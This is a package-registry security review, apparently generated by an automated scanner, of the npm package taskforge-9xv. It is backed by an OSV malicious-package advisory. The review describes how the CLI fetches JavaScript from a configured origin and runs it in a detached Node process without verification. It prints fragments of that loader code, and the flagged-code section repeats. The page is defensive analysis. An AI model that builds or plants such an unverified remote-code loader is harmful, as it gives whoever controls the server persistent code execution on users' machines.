registry / taskforge-9xv / 1.3.0

taskforge-9xv@1.3.0

AI Security Review

scanned 4h ago · by lpm-firewall-ai

The user-invoked CLI downloads JavaScript from the supplied origin's `/api/x-handler` route and executes it as a detached Node process. The package applies no authenticity check to that payload.

Static reason

No blocking static signals were detected.

Trigger

Running `taskforge --origin-server <url>` or `taskforge setup --origin-server <url>`.

Impact

A compromised or malicious configured server can execute arbitrary code as the invoking user.

Mechanism

remote JavaScript download piped to `node -`

Rationale

Source establishes an unverified remote-code execution capability, but it is activated only by an explicit user command and uses a user-provided origin. No install-time behavior or unsolicited data theft is present.

Evidence

package.jsonsrc/bin.jssrc/sync-update.jssrc/identity.jssrc/locations.js

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15914

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in taskforge-9xv (npm)

Details

The `taskforge` CLI, once configured with an origin URL via `taskforge setup --origin-server <url>`, fetches bytes from `<origin>/api/x-handler` and pipes them into a detached `node -` process (`spawn(process.execPath, ['-'], {detached:true,...})` with the response body written to stdin). There is no hash, signature, or shape verification — only a >100-byte length gate. The spawned worker records its PID and is respawned on version change, giving whoever controls the configured origin a persistent remote code-execution channel on the host: the served payload can be rotated at will. The package reinforces this shape with cover-story naming (`taskforge-9xv` with a random suffix, description 'Runtime delivery client (private data layout)'), single-letter/renamed identifiers (`edap`, `dRB`, `esd`, `gapid`, `dl`, `spn`, `sPid`), a randomized 8-byte-hex data directory under `~/.local/share/taskforge/`, and a README stating the directory and filenames are intentionally not descriptive. The origin is caller-supplied rather than hardcoded, but the delivered code runs unchecked in the background regardless of who operates that origin.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 93.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for block

Fetches JavaScript from a caller-controlled origin.
Pipes downloaded bytes to detached `node -` for execution.
No signature or integrity verification precedes execution.

Evidence against

No npm lifecycle hooks are declared.
Execution requires an explicit CLI `--origin-server` argument.
No source evidence of credential harvesting or unsolicited exfiltration.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemNetworkShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 6 file(s), 7.18 KB of source

Source & flagged code

2 flagged

src/sync-update.jsView file

3const u = new URL("/api/x-handler", `${b}/`); if (dk) { u.searchParams.set("key", dk); } const r = await fetch(u.toString(), { headers: { Accept: "application/javascript", ...(dk ? { "X-Runtime-auth-ref": dk } : {}), }, });

High

Ai Review Evidence

Fetches JavaScript from a caller-controlled origin.

src/sync-update.jsView on unpkg · L3

17const bf = Buffer.from(await r.arrayBuffer()); if (bf.length < 100) { throw new Error("x-handler response too small"); } return bf;

High

Ai Review Evidence

No signature or integrity verification precedes execution.

src/sync-update.jsView on unpkg · L17

Source & flagged code

2 flagged · loading source

src/sync-update.jsView file

High

Ai Review Evidence

Fetches JavaScript from a caller-controlled origin.

src/sync-update.jsView on unpkg · L3

17const bf = Buffer.from(await r.arrayBuffer()); if (bf.length < 100) { throw new Error("x-handler response too small"); } return bf;

High

Ai Review Evidence

No signature or integrity verification precedes execution.

src/sync-update.jsView on unpkg · L17

Findings

2 High2 Medium2 Low

HighAi Review Evidencesrc/sync-update.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem